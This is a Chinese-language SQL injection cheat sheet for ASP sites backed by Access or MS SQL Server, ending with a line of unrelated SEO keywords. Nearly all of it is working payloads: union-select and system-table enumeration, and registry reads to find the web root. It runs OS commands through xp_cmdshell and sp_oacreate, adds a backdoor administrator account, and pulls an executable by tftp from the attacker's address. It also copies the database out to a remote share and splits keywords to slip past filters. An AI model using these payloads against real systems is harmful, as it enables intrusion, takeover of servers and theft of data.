Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from adminShow.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊，access也好用 暴库特殊技巧：:\='/' 或者把/和/ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));-- _blank>http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1 ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)_blank>http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 1.1.1.1";--
得到了web路径d:/xxxx,接下来：
_blank>http://xx.xx.xx.xx/111.asp?id=3400;use ku1;-- _blank>http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
传统的存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell 'dir';exec master.dbo.sp_addlogin hax;-- ;exec master.dbo.sp_password null,hax,hax;-- ;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes / active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server'http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：/WINNT/system32/cmd.exe /c net user swap 5258 /add' ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：/WINNT/system32/cmd.exe /c net localgroup administrators swap/add'_blank>http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'- declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/';declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' 如果被限制则可以。select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
关键字:软件 服务器 qq os msn dos 美女 电影 小说 音乐 无极 汽车 MP3
